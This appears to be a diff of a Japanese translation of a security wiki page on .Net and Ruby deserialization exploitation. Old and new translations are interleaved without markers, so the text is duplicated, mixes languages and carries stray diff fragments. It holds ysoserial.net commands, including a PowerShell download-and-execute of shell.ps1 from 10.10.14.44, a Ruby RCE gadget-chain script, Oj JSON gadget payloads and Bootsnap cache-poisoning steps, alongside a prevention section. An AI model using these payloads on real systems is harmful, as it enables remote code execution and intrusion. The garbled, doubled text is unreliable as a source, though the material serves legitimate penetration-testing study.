.Netの文脈において、デシリアライズの悪用は、Javaで見られるものと同様の方法で動作し、ガジェットがオブジェクトのデシリアライズ中に特定のコードを実行するために悪用されます。
|
||||
.Net の文脈では、デシリアライズのエクスプロイトは Java に見られるものと類似して動作し、ガジェットがオブジェクトのデシリアライズ中に特定のコードを実行するために悪用されます。
|
||||
|
||||
### フィンガープリンティング
|
||||
### Fingerprint
|
||||
|
||||
#### ホワイトボックス
|
||||
#### WhiteBox
|
||||
|
||||
ソースコード内で以下の出現を検査する必要があります:
|
||||
ソースコードを調査して、次の発生箇所を確認してください:
|
||||
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
ユーザー制御下の変数によって型を決定できるシリアライザーに焦点を当てるべきです。
|
||||
注目すべきは、型の決定をユーザー制御の変数に委ねるようなシリアライザです。
|
||||
|
||||
#### ブラックボックス
|
||||
#### BlackBox
|
||||
|
||||
検索は、サーバー側でデシリアライズされる可能性のあるBase64エンコードされた文字列**AAEAAAD/////**またはそれに類似したパターンを対象とする必要があります。これには、`TypeObject`や`$type`を含む**JSON**または**XML**構造が含まれる可能性がありますが、これに限定されません。
|
||||
サーチでは、Base64 エンコードされた文字列 **AAEAAAD/////** や、サーバー側でデシリアライズされる可能性があり、デシリアライズされる型の制御を与える類似のパターンをターゲットにすべきです。これには、`TypeObject` や `$type` を含む **JSON** や **XML** 構造などが含まれる可能性があります。
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
この場合、ツール[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)を使用して**デシリアライズの悪用を作成**できます。gitリポジトリをダウンロードしたら、Visual Studioなどを使用して**ツールをコンパイル**する必要があります。
|
||||
この場合、ツール [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) を使用して **デシリアライズのエクスプロイトを作成**できます。git リポジトリをダウンロードしたら、例として Visual Studio を使ってツールを**コンパイル**する必要があります。
|
||||
|
||||
**ysoserial.netがどのように悪用を作成するかを学びたい場合**は、[**ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッタについて説明しているこのページを確認してください**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
|
||||
**ysoserial.net がどのようにエクスプロイトを作成するか**について学びたい場合は、[**ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter が説明されているこのページを確認してください**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
|
||||
|
||||
**ysoserial.net**の主なオプションは、**`--gadget`**、**`--formatter`**、**`--output`**、および**`--plugin`**です。
|
||||
**ysoserial.net の主なオプション**は、**`--gadget`**, **`--formatter`**, **`--output`** および **`--plugin`** です。
|
||||
|
||||
- **`--gadget`**は、悪用するガジェットを示すために使用されます(デシリアライズ中にコマンドを実行するために悪用されるクラス/関数を示します)。
|
||||
- **`--formatter`**は、悪用をシリアライズする方法を示すために使用されます(ペイロードをデシリアライズするためにバックエンドが使用しているライブラリを知り、それを使用してシリアライズする必要があります)。
|
||||
- **`--output`**は、悪用を**生**または**base64**エンコードで出力するかどうかを示すために使用されます。_注意してください、**ysoserial.net**はペイロードを**UTF-16LE**(Windowsでデフォルトで使用されるエンコーディング)を使用して**エンコード**するため、生のペイロードを取得してLinuxコンソールからエンコードすると、悪用が正しく機能しない**エンコーディングの互換性の問題**が発生する可能性があります(HTB JSONボックスではペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限りません)。_
|
||||
- **`--plugin`**ysoserial.netは、ViewStateのような**特定のフレームワーク用の悪用を作成するためのプラグイン**をサポートしています。
|
||||
- **`--gadget`** は悪用するガジェット(デシリアライズ時にコマンドを実行するために悪用されるクラス/関数)を指定するために使用します。
|
||||
- **`--formatter`** はエクスプロイトをシリアライズする方法を指定するために使用します(バックエンドがペイロードをデシリアライズするために使用しているライブラリを知り、同じものを使ってシリアライズする必要があります)。
|
||||
- **`--output`** はエクスプロイトを **raw** または **base64** で出力するかを指定します。_注意: **ysoserial.net** はペイロードをデフォルトで Windows で使われる **UTF-16LE** で**エンコード**するため、raw を取得して Linux コンソールから単にエンコードした場合、エンコーディングの互換性の問題が発生し、エクスプロイトが正しく動作しないことがあります(HTB の JSON ボックスではペイロードが UTF-16LE と ASCII の両方で動作しましたが、常にそうであるとは限りません)。_
|
||||
- **`--plugin`** ysoserial.net は ViewState のような特定フレームワーク向けの**エクスプロイトを作るプラグイン**をサポートします。
|
||||
|
||||
#### 追加のysoserial.netパラメータ
|
||||
#### より多くの ysoserial.net パラメータ
|
||||
|
||||
- `--minify`は**小さいペイロード**を提供します(可能な場合)。
|
||||
- `--raf -f Json.Net -c "anything"`これは、提供されたフォーマッタ(この場合は`Json.Net`)で使用できるすべてのガジェットを示します。
|
||||
- `--sf xml`は、**ガジェット**(`-g`)を示すことができ、ysoserial.netは「xml」を含むフォーマッタを検索します(大文字と小文字を区別しません)。
|
||||
- `--minify` は(可能であれば)**より小さなペイロード**を生成します。
|
||||
- `--raf -f Json.Net -c "anything"` は、指定した formatter(この場合は `Json.Net`)で使用できるすべてのガジェットを示します。
|
||||
- `--sf xml` はガジェットを指定(`-g`)すると、ysoserial.net が "xml" を含む(大文字小文字を区別しない)フォーマッタを検索します。
|
||||
|
||||
**ysoserialの例**を使用して悪用を作成します:
|
||||
**ysoserial examples** エクスプロイトを作成する例:
|
||||
```bash
|
||||
#Send ping
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||
@ -734,9 +753,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
||||
#Create exploit using the created B64 shellcode
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** には、各エクスプロイトがどのように機能するかをよりよく理解するのに役立つ **非常に興味深いパラメータ** があります: `--test`\
|
||||
このパラメータを指定すると、 **ysoserial.net** は **ローカルでエクスプロイトを試みる** ので、ペイロードが正しく機能するかどうかをテストできます。\
|
||||
このパラメータは便利です。なぜなら、コードをレビューすると、次のようなコードの断片が見つかるからです (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
**ysoserial.net** には、各 exploit がどのように動作するかをよりよく理解するのに役立つ **非常に興味深いパラメータ** があります: `--test`\
|
||||
このパラメータを指定すると **ysoserial.net** は **try** the **exploit locally,** を実行するため、payload が正しく動作するかをテストできます。\
|
||||
このパラメータは便利です。コードを確認すると次のようなコードの断片が見つかります([ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)から):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
{
|
||||
@ -750,7 +769,7 @@ Debugging.ShowErrors(inputArgs, err);
|
||||
}
|
||||
}
|
||||
```
|
||||
これは、エクスプロイトをテストするために、コードが [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) を呼び出すことを意味します。
|
||||
つまり、exploit をテストするためにコードは [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) を呼び出します。
|
||||
```java
|
||||
public static object JsonNet_deserialize(string str)
|
||||
{
|
||||
@ -761,46 +780,50 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
return obj;
|
||||
}
|
||||
```
|
||||
In the **前のコードは作成されたエクスプロイトに脆弱です**。したがって、.Netアプリケーションで同様のものを見つけた場合、そのアプリケーションも脆弱である可能性があります。\
|
||||
したがって、**`--test`**パラメータは、**どのコードのチャンクが**ysoserial.net**によって作成されるデシリアライズエクスプロイトに脆弱であるかを理解するのに役立ちます。**
|
||||
**前のコードは作成されたエクスプロイトに対して脆弱です。** したがって、.Net アプリケーションで類似のものを見つけた場合、そのアプリケーションもおそらく脆弱であることを意味します。
|
||||
そのため、**`--test`** パラメータは、**どのコードの塊が脆弱か**を、**ysoserial.net** が作成できる desrialization exploit に対して把握するのに役立ちます。
|
||||
|
||||
### ViewState
|
||||
|
||||
[**.Netの\_\_ViewStateパラメータをエクスプロイトする方法についてのこのPOSTを見てください**](exploiting-__viewstate-parameter.md) **任意のコードを実行するために。** もしあなたが**被害者のマシンで使用されている秘密をすでに知っているなら、[**コードを実行する方法を知るためにこの投稿を読んでください**](exploiting-__viewstate-knowing-the-secret.md)**。**
|
||||
この [この POST — **how to try to exploit the \_\_ViewState parameter of .Net**](exploiting-__viewstate-parameter.md) を参照して、**任意のコードを実行する**方法を確認してください。もし被害者マシンで使われている secrets を**既に知っている**場合は、[**この投稿を読んでコードを実行する方法を確認してください**](exploiting-__viewstate-knowing-the-secret.md)。
|
||||
|
||||
### Prevention
|
||||
### 防止策
|
||||
|
||||
.Netにおけるデシリアライズに関連するリスクを軽減するために:
|
||||
To mitigate the risks associated with deserialization in .Net:
|
||||
|
||||
- **データストリームにオブジェクトタイプを定義させないようにします。** 可能な場合は`DataContractSerializer`または`XmlSerializer`を利用してください。
|
||||
- **`JSON.Net`の場合、`TypeNameHandling`を`None`に設定します:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **`JavaScriptSerializer`を`JavaScriptTypeResolver`と一緒に使用しないでください。**
|
||||
- **デシリアライズ可能なタイプを制限し、`System.IO.FileInfo`のような.Netタイプに内在するリスクを理解します。これはサーバーファイルのプロパティを変更し、サービス拒否攻撃を引き起こす可能性があります。**
|
||||
- **リスクのあるプロパティを持つタイプに注意してください。** 例えば、`System.ComponentModel.DataAnnotations.ValidationException`の`Value`プロパティは悪用される可能性があります。
|
||||
- **攻撃者がデシリアライズプロセスに影響を与えないように、タイプのインスタンス化を安全に制御します。これにより、`DataContractSerializer`や`XmlSerializer`でさえ脆弱になります。**
|
||||
- **`BinaryFormatter`および`JSON.Net`のためにカスタム`SerializationBinder`を使用してホワイトリスト制御を実装します。**
|
||||
- **.Net内の既知の不安全なデシリアライズガジェットについて情報を得て、デシリアライザがそのようなタイプをインスタンス化しないようにします。**
|
||||
- **インターネットアクセスのあるコードからリスクのあるコードを隔離し、WPFアプリケーションの`System.Windows.Data.ObjectDataProvider`のような既知のガジェットを信頼できないデータソースにさらさないようにします。**
|
||||
- **データストリームにオブジェクトの型を決定させない。** 可能なら `DataContractSerializer` や `XmlSerializer` を利用する。
|
||||
- **`JSON.Net` を使用する場合は `TypeNameHandling` を `None` に設定する:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **`JavaScriptSerializer` を `JavaScriptTypeResolver` と共に使わない。**
|
||||
- **デシリアライズ可能な型を制限する。** `System.IO.FileInfo` のような .Net 型はサーバ上のファイルのプロパティを変更する可能性があり、サービス拒否攻撃につながる恐れがある。
|
||||
- **`Value` のような危険なプロパティを持つ型に注意する。** 例: `System.ComponentModel.DataAnnotations.ValidationException` の `Value` プロパティは悪用される可能性がある。
|
||||
- **型のインスタンス化を安全に制御する。** そうしないと攻撃者がデシリアライズ処理に影響を与え、`DataContractSerializer` や `XmlSerializer` であっても脆弱になり得る。
|
||||
- **ホワイトリスト制御を実装する。** `BinaryFormatter` と `JSON.Net` にはカスタム `SerializationBinder` を使用する。
|
||||
- **.Net 内の既知の安全でない deserialization gadgets を把握し、デシリアライザがそれらの型をインスタンス化しないようにする。**
|
||||
- **潜在的に危険なコードをインターネットアクセスのあるコードから隔離する。** 例えば WPF アプリケーションの `System.Windows.Data.ObjectDataProvider` のような既知の gadgets を信頼できないデータソースに晒さない。
|
||||
|
||||
### **References**
|
||||
### **参考資料**
|
||||
|
||||
- Javaと.NetのJSONデシリアライズに関する**論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**、**トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Java と .Net の JSON deserialization **論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**、**講演: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) とスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||
|
||||
## **Ruby**
|
||||
|
||||
Rubyでは、シリアル化は**marshal**ライブラリ内の2つのメソッドによって行われます。最初のメソッドは**dump**として知られ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアル化と呼ばれます。逆に、2番目のメソッド**load**は、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアル化と呼ばれます。
|
||||
In Ruby, serialization is facilitated by two methods within the **marshal** library. The first method, known as **dump**, is used to transform an object into a byte stream. This process is referred to as serialization. Conversely, the second method, **load**, is employed to revert a byte stream back into an object, a process known as deserialization.
|
||||
|
||||
シリアル化されたオブジェクトを保護するために、**RubyはHMAC(Hash-Based Message Authentication Code)**を使用し、データの整合性と真正性を確保します。この目的のために使用されるキーは、いくつかの可能な場所のいずれかに保存されます:
|
||||
Ruby では、シリアライズ処理は **marshal** ライブラリ内の 2 つのメソッドで行われます。最初のメソッド **dump** はオブジェクトをバイトストリームに変換する(serialization)。逆に **load** はバイトストリームをオブジェクトに戻す(deserialization)ために使われます。
|
||||
|
||||
For securing serialized objects, **Ruby employs HMAC (Hash-Based Message Authentication Code)**, ensuring the integrity and authenticity of the data. The key utilized for this purpose is stored in one of several possible locations:
|
||||
|
||||
シリアライズされたオブジェクトを保護するために、**Ruby は HMAC (Hash-Based Message Authentication Code)** を使用しており、データの完全性と真正性を保証します。これに使用されるキーは、次のいずれかに格納されています:
|
||||
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
- `config/secrets.yml`
|
||||
- `/proc/self/environ`
|
||||
|
||||
**Ruby 2.Xの一般的なデシリアライズからRCEガジェットチェーン(詳細は** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
**Ruby 2.X generic deserialization to RCE gadget chain (詳細は** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
```ruby
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
@ -871,18 +894,18 @@ require "base64"
|
||||
puts "Payload (Base64 encoded):"
|
||||
puts Base64.encode64(payload)
|
||||
```
|
||||
他のRCEチェーンを利用してRuby On Railsを攻撃する: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
Ruby On Rails を悪用する別の RCE チェーン: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
|
||||
### Ruby .send() メソッド
|
||||
### Ruby の .send() メソッド
|
||||
|
||||
[**この脆弱性レポート**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)で説明されているように、ユーザーのサニタイズされていない入力がrubyオブジェクトの`.send()`メソッドに到達すると、このメソッドはオブジェクトの**他の任意のメソッドを**任意のパラメータで呼び出すことを可能にします。
|
||||
As explained in [**this vulnerability report**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), ユーザからの適切にサニタイズされていない入力が Ruby オブジェクトの `.send()` メソッドに到達すると、このメソッドはオブジェクトの **任意の他のメソッドを呼び出す** ことを任意のパラメータで可能にします。
|
||||
|
||||
例えば、evalを呼び出し、次にrubyコードを第二パラメータとして渡すことで、任意のコードを実行することができます:
|
||||
例えば、evalを呼び出し、2番目のパラメータとして ruby コードを渡すと任意のコードが実行されます:
|
||||
```ruby
|
||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||
```
|
||||
さらに、**`.send()`** のパラメータのうち1つだけが攻撃者によって制御されている場合、前述の説明にあるように、**引数を必要としない**か、**デフォルト値**を持つ引数のあるオブジェクトの任意のメソッドを呼び出すことが可能です。\
|
||||
これを実現するために、**その要件を満たす興味深いメソッドを見つけるためにオブジェクトのすべてのメソッドを列挙する**ことが可能です。
|
||||
さらに、previous writeup で述べたように、**`.send()`** のパラメータが1つだけ attacker によって制御されている場合、引数を必要としない、または引数に**デフォルト値**が設定されているオブジェクトの任意のメソッドを呼び出すことが可能です.\
|
||||
このため、オブジェクトのすべてのメソッドを列挙して、**それらの要件を満たす興味深いメソッドを見つける**ことができます。
|
||||
```ruby
|
||||
<Object>.send('<user_input>')
|
||||
|
||||
@ -904,25 +927,25 @@ candidate_methods = repo_methods.select() do |method_name|
|
||||
end
|
||||
candidate_methods.length() # Final number of methods=> 3595
|
||||
```
|
||||
### Rubyクラス汚染
|
||||
### Ruby class pollution
|
||||
|
||||
[ここでRubyクラスを汚染し、悪用する方法を確認してください](ruby-class-pollution.md)。
|
||||
ここで[ pollute a Ruby class and abuse it in here](ruby-class-pollution.md)がどのように可能かを確認してください。
|
||||
|
||||
### Ruby _json汚染
|
||||
### Ruby _json pollution
|
||||
|
||||
ボディにハッシュ化できない値(配列など)を送信すると、それらは`_json`という新しいキーに追加されます。しかし、攻撃者はボディに任意の値を持つ`_json`という値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後`_json`パラメータを使用して何らかのアクションを実行する場合、認証バイパスが行われる可能性があります。
|
||||
リクエストボディに配列のようなハッシュ化できない値を送ると、それらは`_json`という新しいキーに追加されます。しかし、攻撃者がボディ内に任意の値を持つ`_json`という値を直接設定することも可能です。例えばバックエンドがあるパラメータの正当性をチェックした後に`_json`パラメータを使って何らかの処理を行う場合、認可バイパスが発生する可能性があります。
|
||||
|
||||
[Ruby _json汚染ページで詳細情報を確認してください](ruby-_json-pollution.md)。
|
||||
詳しくは[ Ruby _json pollution page](ruby-_json-pollution.md)を参照してください。
|
||||
|
||||
### その他のライブラリ
|
||||
|
||||
この技術は[**このブログ投稿から**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)取得されました。
|
||||
この手法は[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)を参照したものです。
|
||||
|
||||
オブジェクトをシリアライズするために使用できる他のRubyライブラリがあり、それらは不安全なデシリアライズ中にRCEを得るために悪用される可能性があります。以下の表は、これらのライブラリのいくつかと、それがデシリアライズされる際に呼び出されるメソッドを示しています(基本的にRCEを得るために悪用する関数):
|
||||
オブジェクトのシリアライズに使われる他のRubyライブラリもあり、不安全なデシリアライズ時にRCEを引き起こすために悪用される可能性があります。以下の表はこれらのライブラリのいくつかと、デシリアライズ時に呼び出されるメソッド(基本的にRCEを得るために悪用する関数)を示しています:
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>ライブラリ</strong></td><td><strong>入力データ</strong></td><td><strong>クラス内のキックオフメソッド</strong></td></tr><tr><td>Marshal (Ruby)</td><td>バイナリ</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code>(クラスはハッシュ(マップ)にキーとして入れる必要があります)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code>(クラスはハッシュ(マップ)にキーとして入れる必要があります)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code>(クラスはハッシュ(マップ)にキーとして入れる必要があります)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code>([json_createに関するノートを最後に参照](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>ライブラリ</strong></td><td><strong>入力データ</strong></td><td><strong>クラス内で呼ばれるメソッド</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code>(クラスをhash(map)のキーとして入れる必要がある)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code>(クラスをhash(map)のキーとして入れる必要がある)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code>(クラスをhash(map)のキーとして入れる必要がある)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
基本的な例:
|
||||
基本例:
|
||||
```ruby
|
||||
# Existing Ruby class inside the code of the app
|
||||
class SimpleClass
|
||||
@ -944,7 +967,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出し、その後specを呼び出し、fetch_pathを呼び出すギジェットクラスを見つけることができました。これにより、ランダムなURLを取得させることが可能になり、この種の未サニタイズのデシリアライズ脆弱性の優れた検出器を提供しました。
|
||||
Ojを悪用しようとした際、あるgadget classを見つけ、その中の`hash`関数が`to_s`を呼び、さらにそれがspecを呼び、specが`fetch_path`を呼ぶようになっていて、これを使って任意のURLを取得させることができた。これにより、この種のサニタイズされていない deserialization vulnerabilities の検出に非常に有効だった。
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -956,7 +979,7 @@ Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出し、
|
||||
"password": "anypw"
|
||||
}
|
||||
```
|
||||
さらに、前述の技術を使用すると、システムにフォルダーが作成されることがわかりました。これは、別のガジェットを悪用してこれを完全なRCEに変換するための要件です。
|
||||
さらに、前の手法ではシステム上にフォルダが作成されることも判明しており、これは別の gadget を悪用してこれを完全な RCE に変えるための要件となる。例えば次のように:
|
||||
```json
|
||||
{
|
||||
"^o": "Gem::Resolver::SpecSpecification",
|
||||
@ -978,48 +1001,49 @@ Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出し、
|
||||
}
|
||||
}
|
||||
```
|
||||
チェックの詳細は[**元の投稿**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)を参照してください。
|
||||
Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
### ブートストラップキャッシング
|
||||
### Bootstrap Caching
|
||||
|
||||
実際にはデシリアライズの脆弱性ではありませんが、ブートストラップキャッシングを悪用してRailsアプリケーションから任意のファイル書き込みによるRCEを取得するための良いトリックです(完全な[元の投稿はこちら](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)を見つけてください)。
|
||||
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
|
||||
以下は、Bootsnapキャッシングを悪用して任意のファイル書き込み脆弱性を悪用するための記事で詳述された手順の短い要約です:
|
||||
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
|
||||
|
||||
- 脆弱性と環境の特定
|
||||
- Identify the Vulnerability and Environment
|
||||
|
||||
Railsアプリのファイルアップロード機能は、攻撃者が任意にファイルを書き込むことを許可します。アプリは制限付きで実行されます(Dockerの非rootユーザーのため、tmpのような特定のディレクトリのみが書き込み可能)が、これによりBootsnapキャッシュディレクトリ(通常はtmp/cache/bootsnapの下)への書き込みが可能になります。
|
||||
Rails アプリのファイルアップロード機能により、攻撃者がファイルを任意に書き込める。アプリは制限付きで動作しており(Docker の non-root ユーザのため tmp のような特定ディレクトリのみが書き込み可能)だが、これは Bootsnap のキャッシュディレクトリ(通常 tmp/cache/bootsnap 以下)への書き込みを許してしまう。
|
||||
|
||||
- Bootsnapのキャッシュメカニズムの理解
|
||||
- Understand Bootsnap’s Cache Mechanism
|
||||
|
||||
Bootsnapは、コンパイルされたRubyコード、YAML、およびJSONファイルをキャッシュすることでRailsの起動時間を短縮します。キャッシュファイルにはキャッシュキーヘッダー(Rubyバージョン、ファイルサイズ、mtime、コンパイルオプションなどのフィールドを含む)が含まれ、その後にコンパイルされたコードが続きます。このヘッダーはアプリの起動時にキャッシュを検証するために使用されます。
|
||||
Bootsnap はコンパイル済みの Ruby コード、YAML、JSON ファイルをキャッシュすることで Rails の起動時間を短縮する。キャッシュファイルは、(Ruby version、file size、mtime、compile options 等のフィールドを持つ)cache key ヘッダと、その後に続くコンパイル済みコードを含む。起動時にこのヘッダがキャッシュの検証に使われる。
|
||||
|
||||
- ファイルメタデータの収集
|
||||
- Gather File Metadata
|
||||
|
||||
攻撃者はまず、Railsの起動時に読み込まれる可能性のあるターゲットファイル(例えば、Rubyの標準ライブラリからのset.rb)を選択します。コンテナ内でRubyコードを実行することで、重要なメタデータ(RUBY_VERSION、RUBY_REVISION、サイズ、mtime、コンパイルオプションなど)を抽出します。このデータは有効なキャッシュキーを作成するために不可欠です。
|
||||
攻撃者はまず Rails の起動時に読み込まれそうなターゲットファイル(例:Ruby 標準ライブラリの set.rb)を選ぶ。コンテナ内で Ruby コードを実行して、RUBY_VERSION、RUBY_REVISION、size、mtime、compile_option といった重要なメタデータを抽出する。これらは有効な cache key を作るために必須である。
|
||||
|
||||
- キャッシュファイルパスの計算
|
||||
- Compute the Cache File Path
|
||||
|
||||
BootsnapのFNV-1a 64ビットハッシュメカニズムを再現することで、正しいキャッシュファイルパスが決定されます。このステップにより、悪意のあるキャッシュファイルがBootsnapが期待する場所(例えば、tmp/cache/bootsnap/compile-cache-iseqの下)に正確に配置されることが保証されます。
|
||||
Bootsnap の FNV-1a 64-bit ハッシュ機構を再現することで、正しいキャッシュファイルパスを特定する。このステップにより、悪意あるキャッシュファイルが Bootsnap の期待する正確な場所(例:tmp/cache/bootsnap/compile-cache-iseq/ 以下)に配置されることを保証する。
|
||||
|
||||
- 悪意のあるキャッシュファイルの作成
|
||||
- Craft the Malicious Cache File
|
||||
|
||||
攻撃者は次のようなペイロードを準備します:
|
||||
攻撃者は以下の payload を用意する:
|
||||
|
||||
- 任意のコマンドを実行します(例えば、プロセス情報を表示するためにidを実行)。
|
||||
- 再帰的な悪用を防ぐために、実行後に悪意のあるキャッシュを削除します。
|
||||
- アプリケーションがクラッシュしないように元のファイル(例えば、set.rb)を読み込みます。
|
||||
- 任意のコマンドを実行(例:プロセス情報を表示するために id を実行)
|
||||
- 再帰的な悪用を防ぐため、実行後に悪意あるキャッシュを削除
|
||||
- アプリケーションがクラッシュしないよう元のファイル(例:set.rb)をロード
|
||||
|
||||
このペイロードはバイナリRubyコードにコンパイルされ、慎重に構築されたキャッシュキーのヘッダー(以前に収集したメタデータとBootsnapの正しいバージョン番号を使用)と連結されます。
|
||||
この payload をバイナリ Ruby コードにコンパイルし、事前に収集したメタデータと正しい Bootsnap バージョン番号を使って慎重に構成した cache key ヘッダと連結する。
|
||||
|
||||
- 上書きと実行のトリガー
|
||||
任意のファイル書き込み脆弱性を使用して、攻撃者は計算された場所に作成したキャッシュファイルを書き込みます。次に、サーバーの再起動をトリガーします(tmp/restart.txtに書き込むことで、Pumaによって監視されています)。再起動中、Railsがターゲットファイルを要求すると、悪意のあるキャッシュファイルが読み込まれ、リモートコード実行(RCE)が発生します。
|
||||
- Overwrite and Trigger Execution
|
||||
|
||||
### Ruby Marshalの実践における悪用(更新)
|
||||
